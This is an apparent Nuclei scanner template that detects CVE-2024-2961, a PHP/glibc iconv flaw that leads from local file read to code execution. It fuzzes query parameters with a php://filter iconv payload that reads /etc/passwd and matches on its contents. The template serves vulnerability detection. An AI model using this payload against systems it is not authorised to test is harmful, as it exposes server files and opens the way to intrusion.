CVE-2024-2961: PHP - LFR to Remote Code Execution

id: CVE-2024-2961

info:
  name: PHP - LFR to Remote Code Execution
  author: Kim Dongyoung (Kairos-hk),bolkv,n0ming,RoughBoy0723
  severity: high
  description: |
    PHP Local File Read vulnerability leading to Remote Code Execution
  impact: |
    Remote attackers can execute arbitrary code on the server
  remediation: |
    Update PHP to the latest version and sanitize user input to prevent LFR attacks
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2961
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
    epss-score: 0.9261
    epss-percentile: 0.99728
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - '!regex("root:x:0:0", body)'
        internal: true

  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'
          - 'method == "POST"'

    payloads:
      phppayload:
        - "php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource=/etc/passwd"

    stop-at-first-match: true
    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{phppayload}}"

    matchers:
      - type: regex
        regex:
          - "root:x:0:0"
# digest: 490a0046304402207898a7fa1f4e7976274eb79c41a3996b7341e8a9b289274b04f13eab93b84cda0220149dcdb89227aaafe0828447d88d7817eb04bb1ac8be4d5c028d83fccc929b97:922c64590222798bb761d5b6d8e72950